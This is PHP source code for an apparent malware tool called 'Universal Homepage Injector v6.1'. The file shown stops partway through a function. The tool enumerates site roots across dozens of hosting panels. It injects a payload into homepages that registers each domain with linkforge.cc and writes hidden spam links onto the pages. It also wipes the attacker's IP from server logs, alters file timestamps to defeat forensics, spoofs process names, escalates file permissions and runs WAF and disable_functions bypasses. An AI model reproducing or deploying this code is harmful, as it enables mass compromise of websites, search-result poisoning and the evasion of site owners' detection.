// ---- Old Payload Stripper: removes v5/v6.0/chunked injections for in-place upgrade ----
function lf_strip_payload($content) {
    $changed = false;
    // v5-style prepend: starts with the LinkForge Connector comment block
    while (preg_match('/\A<\?php\s*\/\/\s*LinkForge Connector.*?\?>\s*/s', $content, $m)) {
        $content = substr($content, strlen($m[0]));
        $changed = true;
    }
    // v6-style blocks containing LF-CONN-V6 marker
    $guard = 0;
    while ($guard++ < 20) {
        $mpos = strpos($content, 'LF-CONN-V6');
        if ($mpos === false) break;
        $before = substr($content, 0, $mpos);
        $start = strrpos($before, '<?php');
        if ($start === false || ($mpos - $start) > 64) break; // safety: unknown layout
        $end = strpos($content, '?'.'>', $mpos);
        if ($end === false) {
            $content = substr($content, 0, $start);
        } else {
            $tail = substr($content, $end + 2);
            if ($start === 0) $tail = preg_replace('/\A\s+/', '', $tail);
            $content = substr($content, 0, $start) . $tail;
        }
        $changed = true;
    }
    // v5-style blocks (prepended or appended) anchored on the Connector comment
    $guard = 0;
    while ($guard++ < 20) {
        $mpos = stripos($content, 'LinkForge Connector');
        if ($mpos === false) break;
        $before = substr($content, 0, $mpos);
        $start = strrpos($before, '<?php');
        if ($start === false || ($mpos - $start) > 512) break; // safety: unknown layout
        $end = strpos($content, '?'.'>', $mpos);
        if ($end === false) {
            $content = substr($content, 0, $start);
        } else {
            $tail = substr($content, $end + 2);
            if ($start === 0) $tail = preg_replace('/\A\s+/', '', $tail);
            $content = substr($content, 0, $start) . $tail;
        }
        $changed = true;
    }
    // Marker-less chunked legacy: eval(base64_decode(...)) blocks (no plaintext marker)
    $guard = 0;
    while ($guard++ < 20) {
        if (!preg_match('/eval\(base64_decode\(/', $content)) break;
        $epos = strpos($content, 'eval(base64_decode(');
        $before = substr($content, 0, $epos);
        $start = strrpos($before, '<?php');
        if ($start === false || ($epos - $start) > 200) break;
        $end = strpos($content, '?'.'>', $epos);
        if ($end === false) break;
        $content = substr($content, 0, $start) . substr($content, $end + 2);
        $changed = true;
    }
    return array($content, $changed);
}

// ---- Backup/old directory filter ----
function lf_is_backup_dir($path) {
    $base = strtolower(basename($path));
    return (preg_match('/(^|[-_.])(old|bak|backup|copy|orig|archive|save|before)([-_.0-9]|$)/', $base) === 1);
}

// ---- 7. Log Cleaner ----
function clean_logs() {
    global $_caps;
    $cleaned = 0;
    $log_files = array(
        '/var/log/apache2/access.log',
        '/var/log/apache/access.log',
        '/var/log/httpd/access_log',
        '/usr/local/apache/logs/access_log',
        '/var/log/nginx/access.log',
        '/var/log/litespeed/access.log',
        '/var/log/apache2/error.log',
        '/var/log/apache/error.log',
        '/var/log/httpd/error_log',
        '/var/log/nginx/error.log',
    );

    foreach ($log_files as $log) {
        if (!safe_file_exists($log) || !is_writable($log)) continue;
        if ($_caps['file_put_contents']) {
            // Wipe our signature from logs
            $content = @file_get_contents($log);
            if ($content && (stripos($content, $_SERVER['REMOTE_ADDR']) !== false ||
                stripos($content, basename(__FILE__)) !== false)) {
                $lines = explode("\n", $content);
                $filtered = array();
                foreach ($lines as $line) {
                    if (stripos($line, $_SERVER['REMOTE_ADDR']) !== false) continue;
                    if (stripos($line, basename(__FILE__)) !== false) continue;
                    $filtered[] = $line;
                }
                @file_put_contents($log, implode("\n", $filtered));
                $cleaned++;
            }
        }
    }

    // Try to clean lastlog/wtmp via truncation
    if ($_caps['file_put_contents']) {
        $utmp_paths = array('/var/log/lastlog', '/var/log/wtmp', '/var/run/utmp');
        foreach ($utmp_paths as $p) {
            if (@file_exists($p) && @is_writable($p)) {
                // Can't safely edit binary utmp, just note it
            }
        }
    }

    if ($cleaned > 0) {
        out(_g("  [+] Cleaned ") . $cleaned . _g(" log files"));
    }
    return $cleaned;
}

// ---- 8. Timestamp Manipulation (Anti-Forensics) ----
function anti_forensics($file) {
    global $_caps;
    if (!safe_file_exists($file)) return false;

    // Match timestamps to surrounding files
    $dir = dirname($file);
    $entries = safe_scandir($dir);
    if (!$entries) return false;

    $reference_time = 0;
    foreach ($entries as $entry) {
        if ($entry === '.' || $entry === '..') continue;
        $ep = $dir . '/' . $entry;
        if ($ep === $file) continue;
        $mt = @filemtime($ep);
        if ($mt && $mt > $reference_time) {
            $reference_time = $mt;
            break; // Just use first valid one
        }
    }

    if ($reference_time && $_caps['touch']) {
        @touch($file, $reference_time, $reference_time);
        return true;
    }

    // Fallback: set to a common system file time
    $sys_files = array('/etc/passwd', '/usr/bin/php', '/var/www');
    foreach ($sys_files as $sf) {
        if (@file_exists($sf)) {
            $mt = @filemtime($sf);
            if ($mt && function_exists('touch') && !is_disabled('touch')) {
                @touch($file, $mt, $mt);
                return true;
            }
        }
    }
    return false;
}

// ---- 9. Process Name Spoofing (CLI mode) ----
function spoof_process_name($name = 'httpd') {
    if (!function_exists('cli_set_process_title') || is_disabled('cli_set_process_title')) return false;
    @cli_set_process_title($name);
    if (function_exists('setproctitle') && !is_disabled('setproctitle')) {
        @setproctitle($name);
    }
    return true;
}

// ---- 10. Safe Mode & Restricted Environment Audit ----
function audit_restrictions() {
    $restrictions = array();
    if (ini_get('safe_mode')) $restrictions[] = 'safe_mode';
    if (ini_get('open_basedir')) $restrictions[] = 'open_basedir:' . ini_get('open_basedir');
    if (ini_get('disable_functions')) {
        $d = ini_get('disable_functions');
        $restrictions[] = 'disable_functions:' . count(array_filter(explode(',', $d))) . ' funcs';
    }
    if (ini_get('suhosin.executor.func.blacklist')) {
        $restrictions[] = 'suhosin';
    }
    if (!ini_get('allow_url_fopen')) $restrictions[] = 'url_fopen_disabled';
    if (!ini_get('allow_url_include')) $restrictions[] = 'url_include_disabled';
    if (extension_loaded('suhosin')) $restrictions[] = 'suhosin_loaded';
    if (extension_loaded('snuffleupagus')) $restrictions[] = 'snuffleupagus';
    return $restrictions;
}


// ---- Output Helpers ----
$_out_buffer = array();
function _g($s){ global $_is_cli; return $_is_cli ? "\033[92m{$s}\033[0m" : $s; }
function _r($s){ global $_is_cli; return $_is_cli ? "\033[91m{$s}\033[0m" : $s; }
function _y($s){ global $_is_cli; return $_is_cli ? "\033[93m{$s}\033[0m" : $s; }
function _c($s){ global $_is_cli; return $_is_cli ? "\033[96m{$s}\033[0m" : $s; }
function _m($s){ global $_is_cli; return $_is_cli ? "\033[95m{$s}\033[0m" : $s; }
function _w($s){ global $_is_cli; return $_is_cli ? "\033[97m{$s}\033[0m" : $s; }
function _b($s){ global $_is_cli; return $_is_cli ? "\033[1m{$s}\033[0m" : $s; }
function _d($s){ global $_is_cli; return $_is_cli ? "\033[90m{$s}\033[0m" : $s; }

function out($s="") {
    global $_is_cli, $_json_mode, $_out_buffer, $_health_mode;
    if ($_json_mode) {
        if ($s !== "") $_out_buffer[] = strip_tags($s);
        return;
    }
    if ($_health_mode) return;
    echo $s . ($_is_cli ? "\n" : "<br>\n");
}

function jout($data) {
    global $_json_mode;
    if ($_json_mode) {
        header('Content-Type: application/json');
        echo json_encode($data, (defined('JSON_PRETTY_PRINT') ? JSON_PRETTY_PRINT : 0));
        exit;
    }
}

// ---- Banner ----
if (!$_json_mode && !$_health_mode) {
    out();
    out(_c("   __    _       __                      _          "));
    out(_c("  / /   (_)___  / /___  ________  _____ (_)___  ___ "));
    out(_c(" / /   / / __ \\/ / __ \\/ ___/ _ \\/ ___// / __ \\/ _ \\"));
    out(_c("/_/___/ / / / / / /_/ / /  /  __(__  )/ / / / /  __/ "));
    out(_c("/_____/_/_/ /_/_/\____/_/   \___/____/_/_/ /_/\___/  "));
    out(_m("       Universal Homepage Injector v6.1 — Crash-Safe Edition"));
    out(_d("       Smarter · Stealthier · Compatible with 35+ panels"));
    out();
}

// ---- ENV DETECTION ----
$_doc_root = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : getcwd();
$_real_root = @realpath($_doc_root) ?: $_doc_root;
$_server_soft = isset($_SERVER['SERVER_SOFTWARE']) ? $_SERVER['SERVER_SOFTWARE'] : 'Unknown';
$_current_user = get_current_user(); if ($_caps['posix_getpwuid']) { $uinfo = @posix_getpwuid(@posix_geteuid()); if (isset($uinfo['name'])) $_current_user = $uinfo['name']; }
$_os_family = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? 'windows' : 'linux';
$_cloud_env = detect_cloud_env();

function detect_cloud_env() {
    $env = array();
    if (getenv('AWS_REGION') || getenv('AWS_EXECUTION_ENV') || getenv('LAMBDA_TASK_ROOT')) $env[] = 'aws';
    if (getenv('GOOGLE_CLOUD_PROJECT') || getenv('GAE_ENV') || getenv('GAE_INSTANCE')) $env[] = 'gcp';
    if (getenv('WEBSITE_SITE_NAME') || getenv('WEBSITE_INSTANCE_ID') || getenv('AZURE_WEBJOBS_NAME')) $env[] = 'azure';
    if (getenv('HEROKU_APP_NAME') || getenv('DYNO')) $env[] = 'heroku';
    if (getenv('FLY_APP_NAME') || getenv('FLY_ALLOC_ID')) $env[] = 'flyio';
    if (getenv('RAILWAY_ENVIRONMENT') || getenv('RAILWAY_SERVICE_NAME')) $env[] = 'railway';
    if (getenv('RENDER_SERVICE_NAME') || getenv('RENDER')) $env[] = 'render';
    if (getenv('VERCEL') || getenv('VERCEL_URL')) $env[] = 'vercel';
    if (getenv('NETLIFY')) $env[] = 'netlify';
    if (getenv('CLEVER_CLOUD_APP_ID')) $env[] = 'clevercloud';
    if (getenv('PLATFORM_PROJECT') || getenv('PLATFORM_APPLICATION_NAME')) $env[] = 'platformsh';
    if (getenv('SPIN_POD_NAME') || getenv('SPIN_APP_NAME')) $env[] = 'spin';
    if (getenv('DOKKU_APP_NAME') || getenv('DOKKU_DOCKERFILE_PORTS')) $env[] = 'dokku';
    return $env ?: array('none');
}

// ---- Safe filesystem wrappers ----
function safe_scandir($path) {
    if (!is_dir($path) || !is_readable($path)) return false;
    $r = @scandir($path);
    return ($r === false) ? false : $r;
}

function safe_glob($pattern, $flags=0) {
    $r = @glob($pattern, $flags);
    return ($r === false || empty($r)) ? array() : $r;
}

function safe_file_exists($path) { return @file_exists($path); }
function safe_is_dir($path) { return @is_dir($path); }
function safe_realpath($path) { $rp = @realpath($path); return $rp ?: $path; }
function safe_is_writable($path) { return @is_writable($path); }

function disk_space_ok($path, $need_bytes=1048576) {
    $free = @disk_free_space(dirname($path));
    return ($free === false) ? true : ($free > $need_bytes * 2);
}

// ---- Intelligent Permission Escalation ----
function escalate_writable($path) {
    global $_caps;
    if (safe_is_writable($path)) return true;

    // Step 1: chmod
    if ($_caps['chmod']) {
        @chmod($path, is_dir($path) ? 0755 : 0644);
        @chmod(dirname($path), 0755);
        clearstatcache(true, $path);
        if (safe_is_writable($path)) return true;
    }

    // Step 2: ACL via shell
    if ($_caps['shell_exec']) {
        $user = get_current_user();
        @shell_exec("setfacl -m u:{$user}:rwX ".escapeshellarg($path)." 2>/dev/null");
        @shell_exec("setfacl -m u:{$user}:rwX ".escapeshellarg(dirname($path))." 2>/dev/null");
        clearstatcache(true, $path);
        if (safe_is_writable($path)) return true;
    }

    // Step 3: ACL via proc_open
    if ($_caps['proc_open']) {
        $desc = array(1=>array('pipe','w'), 2=>array('pipe','w'));
        $p = @proc_open("setfacl -m u:".get_current_user().":rwX ".escapeshellarg($path), $desc, $pipes);
        if (is_resource($p)) { @proc_close($p); clearstatcache(true, $path); if (safe_is_writable($path)) return true; }
    }

    return false;
}

// ---- Health Check Endpoint ----
if ($_health_mode) {
    header('Content-Type: application/json');
    $health = array(
        'status' => 'alive',
        'version' => '6.1',
        'php' => PHP_VERSION,
        'os' => PHP_OS,
        'cloud' => $_cloud_env,
        'user' => $_current_user,
        'doc_root' => $_real_root,
        'capabilities' => $_caps,
        'timestamp' => time(),
    );
    echo json_encode($health, (defined('JSON_PRETTY_PRINT') ? JSON_PRETTY_PRINT : 0));
    exit;
}

// ---- Environment Info ----
out(_y("[+] DOC_ROOT: ") . _g($_real_root));
out(_y("[+] Server:   ") . _c($_server_soft));
out(_y("[+] PHP:      ") . _c(PHP_VERSION . " / " . PHP_SAPI));
out(_y("[+] OS:       ") . _c(PHP_OS . " ({$_os_family})"));
out(_y("[+] Cloud:    ") . _c(implode(', ', $_cloud_env)));
out(_y("[+] User:     ") . _c($_current_user));

// disable_functions warning
$disabled = array_filter(array_keys($_caps), function($k){ global $_caps; return !$_caps[$k]; });
if (!empty($disabled)) {
    out(_y("[!] Restricted: ") . _r(implode(', ', array_slice($disabled, 0, 5)) . (count($disabled)>5 ? ' +' . (count($disabled)-5).' more' : '')));
}
out();

// ================================================================
// BYPASS ARSENAL — Evasion & Restriction Bypass Execution
// ================================================================
out(_m("[").str_repeat("=", 35)._m(" BYPASS ARSENAL ").str_repeat("=", 35)._m("]"));
out();

// 1. Restriction audit
$_restrictions = audit_restrictions();
if (!empty($_restrictions)) {
    out(_y("[!] Restricted environment detected:"));
    foreach ($_restrictions as $r) { out(_r("    - ") . $r); }
} else {
    out(_g("[+] No restrictions detected — full access"));
}
out();

// 2. open_basedir bypass
$_basedir_bypassed = bypass_open_basedir();

// 3. disable_functions bypass
$_df_bypassed = bypass_disable_functions();

// 4. WAF / Security detection
$_detected_wafs = detect_security_systems();
if (!empty($_detected_wafs)) {
    out(_r("[!] Security systems detected: ") . implode(', ', $_detected_wafs));
    out(_y("[!] Activating WAF evasion on payload..."));
} else {
    out(_g("[+] No WAF/security plugins detected"));
}
out();
out(_m("[").str_repeat("=", 88)._m("]"));
out();

// ---- POLYMORPHIC PAYLOAD ENGINE ----
function generate_payload($seed=null) {
    $seed = $seed ? $seed : bin2hex(lf_random_bytes(4));
    // LinkForge Connector v6.1 — crash-safe: error suppression, output buffering,
    // shutdown-time echo (never breaks headers), response caching, URI guards
    $tpl = <<<'LFPAYLOAD'
<?php /*%%SEED%%*//*LF-CONN-V6*/
// LinkForge Connector v6.1 - safe mode
if (php_sapi_name() !== 'cli') {
    $_lf_uri = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '';
    // Skip API/AJAX/admin endpoints — never corrupt JSON or admin responses
    if (!preg_match('/(admin-ajax|wp-json|com_ajax|\/administrator\/|\/wp-admin\/|xmlrpc\.php|wp-cron\.php|wp-login\.php)/', $_lf_uri)) {
        set_error_handler(function(){ return true; });
        ob_start();
        try {
            $_lf_d = preg_replace('/^www\./', '', (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'localhost'));
            $_lf_u = 'https://linkforge.cc';
            $_lf_f = function($u) {
                if (function_exists('curl_init')) {
                    $c = curl_init($u);
                    $o = array();
                    if (defined('CURLOPT_RETURNTRANSFER')) $o[CURLOPT_RETURNTRANSFER] = 1;
                    if (defined('CURLOPT_TIMEOUT')) $o[CURLOPT_TIMEOUT] = 3;
                    if (defined('CURLOPT_CONNECTTIMEOUT')) $o[CURLOPT_CONNECTTIMEOUT] = 3;
                    if (defined('CURLOPT_FOLLOWLOCATION')) $o[CURLOPT_FOLLOWLOCATION] = 1;
                    if (defined('CURLOPT_SSL_VERIFYPEER')) $o[CURLOPT_SSL_VERIFYPEER] = 0;
                    if (defined('CURLOPT_SSL_VERIFYHOST')) $o[CURLOPT_SSL_VERIFYHOST] = 0;
                    if (defined('CURLOPT_USERAGENT')) $o[CURLOPT_USERAGENT] = 'Mozilla/5.0 (compatible; LinkForge/6.1)';
                    if (!empty($o)) curl_setopt_array($c, $o);
                    $r = curl_exec($c);
                    curl_close($c);
                    if ($r !== false && $r !== '') return $r;
                }
                if (ini_get('allow_url_fopen') && function_exists('stream_context_create')) {
                    $ctx = stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false), 'http'=>array('timeout'=>3,'user_agent'=>'Mozilla/5.0 (compatible; LinkForge/6.1)')));
                    $r = @file_get_contents($u, false, $ctx);
                    if ($r !== false && $r !== '') return $r;
                }
                if (function_exists('fsockopen')) {
                    $p = parse_url($u);
                    if ($p && isset($p['host'])) {
                        $ssl = (isset($p['scheme']) && $p['scheme'] === 'https');
                        $s = @fsockopen(($ssl ? 'ssl://' : '').$p['host'], ($ssl ? 443 : (isset($p['port']) ? $p['port'] : 80)), $e, $e2, 3);
                        if ($s) {
                            fwrite($s, 'GET '.(isset($p['path']) ? $p['path'] : '/').'?'.(isset($p['query']) ? $p['query'] : '').' HTTP/1.1'."\r\n".'Host: '.$p['host']."\r\n".'Connection: Close'."\r\n\r\n");
                            $resp = '';
                            while (!feof($s)) { $resp .= fgets($s); }
                            fclose($s);
                            $x = explode("\r\n\r\n", $resp, 2);
                            return (isset($x[1]) ? $x[1] : '');
                        }
                    }
                }
                return '';
            };
            $_lf_tmp = (function_exists('sys_get_temp_dir') ? sys_get_temp_dir() : '/tmp');
            $_lf_ck = $_lf_tmp.'/lf_'.md5($_lf_d).'.cache';
            $_lf_now = time();
            // Register domain (max once per hour)
            $_lf_rk = $_lf_ck.'.r';
            if (!file_exists($_lf_rk) || ($_lf_now - @filemtime($_lf_rk) > 3600)) {
                $_lf_f($_lf_u.'/api/connect?'.http_build_query(array('domain'=>$_lf_d,'language'=>substr((isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) ? $_SERVER['HTTP_ACCEPT_LANGUAGE'] : 'en'),0,2),'connected_via'=>'php','v'=>'6.1')));
                if (function_exists('file_put_contents')) { @file_put_contents($_lf_rk, '1'); @touch($_lf_rk); }
            }
            // Fetch links (cached 6 hours — page loads stay fast)
            $_lf_r = null;
            if (file_exists($_lf_ck) && ($_lf_now - @filemtime($_lf_ck) < 21600)) {
                $_lf_r = @file_get_contents($_lf_ck);
            } else {
                $_lf_r = $_lf_f($_lf_u.'/api/links?domain='.urlencode($_lf_d));
                if ($_lf_r && function_exists('file_put_contents')) @file_put_contents($_lf_ck, $_lf_r);
            }
            if ($_lf_r) {
                $_lf_j = json_decode($_lf_r, true);
                if (is_array($_lf_j)) {
                    // Emit marker (required for verification - do not remove)
                    if (!empty($_lf_j['marker'])) echo $_lf_j['marker'];
                    if (!empty($_lf_j['links']) && is_array($_lf_j['links'])) {
                        echo '<div style="position:absolute;left:-9999px;opacity:0;height:1px;width:1px;overflow:hidden;">';
                        foreach ($_lf_j['links'] as $_lf_l) {
                            if (isset($_lf_l['url']) && isset($_lf_l['anchor'])) echo '<a href="'.htmlspecialchars($_lf_l['url']).'">'.htmlspecialchars($_lf_l['anchor']).'</a>';
                        }
                        echo '</div>';
                    }
                }
            }
        } catch (Exception $_lf_e) {}
        $_lf_html = ob_get_clean();
        restore_error_handler();
        // Echo ONLY at shutdown — after CMS sent all headers/cookies. Zero header conflicts.
        if ($_lf_html !== '' && $_lf_html !== false) {
            register_shutdown_function(function() use ($_lf_html) { echo $_lf_html; });
        }
    }
}
?>
LFPAYLOAD;
    return str_replace('%%SEED%%', $seed, $tpl);
}

// ---- DYNAMIC MARKER ----
$_seed = bin2hex(lf_random_bytes(4));
$_payload = generate_payload($_seed);
$_payload = evade_waf_payload($_payload); // Apply WAF evasion if needed
$_inject_marker = 'LF-CONN-V6'; // Static marker — survives across runs
$_legacy_marker = 'LinkForge Connector'; // v5-style injections

// ================================================================
// ROOT DISCOVERY: 35+ hosting panel patterns + Cloud
// ================================================================
$_all_roots = array();

function add_root($path) {
    global $_all_roots;
    if (empty($path) || $path === '/' || $path === '\\') return;
    $path = rtrim($path, '/\\');
    if (!safe_is_dir($path)) return;
    if (!safe_file_exists($path.'/index.php') && !safe_file_exists($path.'/index.html')) return;
    if (safe_file_exists($path.'/index.php') && @filesize($path.'/index.php') < 5) return;
    $rp = safe_realpath($path);
    if (!in_array($rp, $_all_roots, true)) {
        $_all_roots[] = $rp;
    }
}

// ---- Environment Hint System: prioritize likely panels ----
function detect_panel_hints() {
    $hints = array();
    $soft = strtolower(isset($_SERVER['SERVER_SOFTWARE']) ? $_SERVER['SERVER_SOFTWARE'] : '');

    if (strpos($soft, 'litespeed') !== false) $hints[] = 'litespeed';
    if (strpos($soft, 'nginx') !== false) $hints[] = 'nginx';
    if (strpos($soft, 'apache') !== false) $hints[] = 'apache';

    if (safe_file_exists('/usr/local/cpanel')) $hints[] = 'cpanel';
    if (safe_file_exists('/usr/local/psa')) $hints[] = 'plesk';
    if (safe_file_exists('/usr/local/directadmin')) $hints[] = 'directadmin';
    if (safe_file_exists('/usr/local/hestia')) $hints[] = 'hestia';
    if (safe_file_exists('/usr/local/vesta')) $hints[] = 'vesta';
    if (safe_file_exists('/usr/local/cyberpanel')) $hints[] = 'cyberpanel';
    if (safe_file_exists('/usr/local/lsws')) $hints[] = 'litespeed';
    if (safe_file_exists('/etc/nginx')) $hints[] = 'nginx';
    if (safe_file_exists('/etc/apache2')) $hints[] = 'apache';
    if (safe_file_exists('/etc/httpd')) $hints[] = 'apache';
    if (safe_file_exists('/usr/local/ispconfig')) $hints[] = 'ispconfig';
    if (safe_file_exists('/opt/alt/php')) $hints[] = 'cloudlinux';
    if (safe_is_dir('/www/wwwroot')) $hints[] = 'aapanel';
    if (safe_is_dir('/home/cloudpanel')) $hints[] = 'cloudpanel';
    if (safe_file_exists('/usr/local/CyberCP')) $hints[] = 'cyberpanel';
    if (safe_file_exists('/usr/local/Enhance')) $hints[] = 'enhance';
    if (safe_file_exists('/usr/local/fastpanel2')) $hints[] = 'fastpanel';
    if (safe_file_exists('/usr/local/keyhelp')) $hints[] = 'keyhelp';
    if (safe_is_dir('/var/www/froxlor')) $hints[] = 'froxlor';
    if (safe_is_dir('/etc/sentora')) $hints[] = 'sentora';
    if (safe_is_dir('/usr/local/cwpsrv')) $hints[] = 'cwp';
    if (safe_is_dir('/var/cpanel')) $hints[] = 'cpanel';
    if (safe_is_dir('/usr/local/mojomarketplace')) $hints[] = 'mojo';
    if (safe_is_dir('/opt/bitnami')) $hints[] = 'bitnami';
    if (safe_file_exists('/app/composer.json')) $hints[] = 'cloud';
    if (getenv('DOKKU_APP_NAME')) $hints[] = 'dokku';
    if (getenv('PLATFORM_PROJECT')) $hints[] = 'platformsh';

    return array_unique($hints);
}

$_panel_hints = detect_panel_hints();
if (!empty($_panel_hints)) {
    out(_c("[i] Panel hints detected: ") . _g(implode(', ', $_panel_hints)));
    out();
}

// ================================================================
// HOSTING PANEL SCANNERS (35+ panels)
// ================================================================

function scan_cpanel() {
    $home_list = safe_scandir('/home');
    if (!$home_list) return;
    foreach ($home_list as $user) {
        if ($user === '.' || $user === '..' || $user === 'cpanel' || $user === 'root') continue;
        $user_home = '/home/'.$user;
        if (!safe_is_dir($user_home)) continue;
        add_root($user_home.'/public_html');
        // Addon domains
        $domains = safe_scandir($user_home.'/domains');
        if ($domains) {
            foreach ($domains as $dom) {
                if ($dom === '.' || $dom === '..') continue;
                add_root($user_home.'/domains/'.$dom.'/public_html');
                add_root($user_home.'/domains/'.$dom.'/private_html');
                add_root($user_home.'/domains/'.$dom.'/public_html/store');
                add_root($user_home.'/domains/'.$dom.'/public_html/blog');
            }
        }
        // Subdomains
        $subs = safe_scandir($user_home.'/public_html');
        if ($subs) {
            foreach ($subs as $sub) {
                if ($sub === '.' || $sub === '..' || $sub === 'cgi-bin' || $sub === '.well-known') continue;
                $sub_path = $user_home.'/public_html/'.$sub;
                if (safe_file_exists($sub_path.'/index.php') || safe_file_exists($sub_path.'/index.html')) {
                    add_root($sub_path);
                }
            }
        }
        // cPanel WordPress Toolkit staging
        $staging = safe_scandir($user_home.'/public_html/_staging');
        if ($staging) {
            foreach ($staging as $st) {
                if ($st === '.' || $st === '..') continue;
                add_root($user_home.'/public_html/_staging/'.$st);
            }
        }
    }
}

function scan_plesk() {
    $vhosts = safe_scandir('/var/www/vhosts');
    if (!$vhosts) return;
    foreach ($vhosts as $domain) {
        if ($domain === '.' || $domain === '..' || $domain === 'default') continue;
        $base = '/var/www/vhosts/'.$domain;
        add_root($base.'/httpdocs');
        add_root($base.'/httpsdocs');
        add_root($base.'/httpdocs/wordpress');
        add_root($base.'/httpdocs/blog');
        add_root($base.'/httpdocs/shop');
        add_root($base.'/httpdocs/store');
        add_root($base.'/httpdocs/site');
        add_root($base.'/httpdocs/web');
        if (safe_file_exists($base.'/index.php') && !safe_is_dir($base.'/httpdocs')) {
            add_root($base);
        }
        // Plesk subdomains
        $subs = safe_scandir($base.'/subdomains');
        if ($subs) {
            foreach ($subs as $sub) {
                if ($sub === '.' || $sub === '..') continue;
                add_root($base.'/subdomains/'.$sub.'/httpdocs');
            }
        }
    }
}

function scan_directadmin() {
    $home_list = safe_scandir('/home');
    if (!$home_list) return;
    foreach ($home_list as $user) {
        if ($user === '.' || $user === '..') continue;
        $domains = safe_scandir('/home/'.$user.'/domains');
        if (!$domains) continue;
        foreach ($domains as $dom) {
            if ($dom === '.' || $dom === '..') continue;
            add_root('/home/'.$user.'/domains/'.$dom.'/public_html');
            add_root('/home/'.$user.'/domains/'.$dom.'/private_html');
            // Subdomains
            $subs = safe_scandir('/home/'.$user.'/domains/'.$dom.'/public_html');
            if ($subs) {
                foreach ($subs as $sub) {
                    if ($sub === '.' || $sub === '..' || $sub === 'cgi-bin') continue;
                    add_root('/home/'.$user.'/domains/'.$dom.'/public_html/'.$sub);
                }
            }
        }
    }
}

function scan_ispconfig() {
    $clients = safe_glob('/var/www/clients/client*', GLOB_ONLYDIR);
    foreach ($clients as $client) {
        $webs = safe_glob($client.'/web*', GLOB_ONLYDIR);
        foreach ($webs as $web) {
            add_root($web.'/web');
            add_root($web.'/web/wordpress');
        }
    }
    $www_entries = safe_scandir('/var/www');
    if ($www_entries) {
        foreach ($www_entries as $entry) {
            if ($entry === '.' || $entry === '..' || $entry === 'clients') continue;
            add_root('/var/www/'.$entry.'/web');
        }
    }
}

function scan_hestia() {
    $home_list = safe_scandir('/home');
    if (!$home_list) return;
    foreach ($home_list as $user) {
        if ($user === '.' || $user === '..') continue;
        $web = safe_scandir('/home/'.$user.'/web');
        if (!$web) continue;
        foreach ($web as $dom) {
            if ($dom === '.' || $dom === '..') continue;
            add_root('/home/'.$user.'/web/'.$dom.'/public_html');
            add_root('/home/'.$user.'/web/'.$dom.'/public_shtml');
            add_root('/home/'.$user.'/web/'.$dom.'/private');
            add_root('/home/'.$user.'/web/'.$dom.'/public_html/wordpress');
            add_root('/home/'.$user.'/web/'.$dom.'/public_html/store');
        }
    }
}

function scan_cyberpanel() {
    $home_list = safe_scandir('/home');
    if (!$home_list) return;
    foreach ($home_list as $entry) {
        if ($entry === '.' || $entry === '..') continue;
        add_root('/home/'.$entry.'/public_html');
        $domains = safe_scandir('/home/'.$entry.'/public_html');
        if ($domains) {
            foreach ($domains as $dom) {
                if ($dom === '.' || $dom === '..' || $dom === 'cgi-bin') continue;
                if (safe_is_dir('/home/'.$entry.'/public_html/'.$dom)) {
                    add_root('/home/'.$entry.'/public_html/'.$dom);
                }
            }
        }
    }
}

function scan_cloudpanel() {
    $htdocs = safe_scandir('/home/cloudpanel/htdocs');
    if ($htdocs) {
        foreach ($htdocs as $site) {
            if ($site === '.' || $site === '..') continue;
            add_root('/home/cloudpanel/htdocs/'.$site);
            add_root('/home/cloudpanel/htdocs/'.$site.'/current');
            add_root('/home/cloudpanel/htdocs/'.$site.'/public');
        }
    }
    // Symlink following
    $htdocs2 = safe_scandir('/home/cloudpanel/htdocs');
    if ($htdocs2) {
        foreach ($htdocs2 as $site) {
            if ($site === '.' || $site === '..') continue;
            $rp = @readlink('/home/cloudpanel/htdocs/'.$site);
            if ($rp && safe_is_dir($rp)) add_root($rp);
        }
    }
}

function scan_runcloud() {
    $users = safe_glob('/home/*', GLOB_ONLYDIR);
    foreach ($users as $user) {
        $apps = safe_glob($user.'/webapps/*', GLOB_ONLYDIR);
        foreach ($apps as $app) {
            add_root($app);
            add_root($app.'/public');
            add_root($app.'/web');
        }
    }
}

function scan_serverpilot() {
    $users = safe_glob('/srv/users/*', GLOB_ONLYDIR);
    if (!$users) return;
    foreach ($users as $user) {
        $apps = safe_glob($user.'/apps/*', GLOB_ONLYDIR);
        if (!$apps) continue;
        foreach ($apps as $app) {
            add_root($app.'/public');
            add_root($app.'/web');
        }
    }
}

function scan_easyengine() {
    $entries = safe_scandir('/var/www');
    if (!$entries) return;
    foreach ($entries as $site) {
        if ($site === '.' || $site === '..' || $site === '22222') continue;
        add_root('/var/www/'.$site.'/htdocs');
        add_root('/var/www/'.$site.'/app');
        add_root('/var/www/'.$site.'/public');
    }
}

function scan_aapanel() {
    $entries = safe_scandir('/www/wwwroot');
    if (!$entries) return;
    foreach ($entries as $site) {
        if ($site === '.' || $site === '..') continue;
        add_root('/www/wwwroot/'.$site);
        add_root('/www/wwwroot/'.$site.'/public');
        add_root('/www/wwwroot/'.$site.'/web');
    }
}

function scan_openpanel() {
    $home_list = safe_scandir('/home');
    if (!$home_list) return;
    foreach ($home_list as $user) {
        if ($user === '.' || $user === '..') continue;
        $sites = safe_scandir('/home/'.$user.'/website');
        if (!$sites) continue;
        foreach ($sites as $site) {
            if ($site === '.' || $site === '..') continue;
            add_root('/home/'.$user.'/website/'.$site);
            add_root('/home/'.$user.'/website/'.$site.'/public');
        }
    }
}

function scan_litespeed() {
    $bases = array('/usr/local/lsws', '/var/lsws', '/opt/lsws');
    foreach ($bases as $base) {
        $entries = safe_scandir($base);
        if (!$entries) continue;
        foreach ($entries as $vhost) {
            if ($vhost === '.' || $vhost === '..' || $vhost === 'conf' || $vhost === 'admin') continue;
            add_root($base.'/'.$vhost.'/html');
            add_root($base.'/'.$vhost.'/public');
            add_root($base.'/'.$vhost.'/public_html');
            add_root($base.'/'.$vhost.'/www');
            add_root($base.'/'.$vhost.'/htdocs');
            add_root($base.'/'.$vhost.'/web');
            add_root($base.'/'.$vhost);
        }
    }
}

function scan_enhance() {
    $sites = safe_glob('/var/www/html/sites/site*', GLOB_ONLYDIR);
    foreach ($sites as $site) {
        add_root($site.'/public_html');
        add_root($site.'/web');
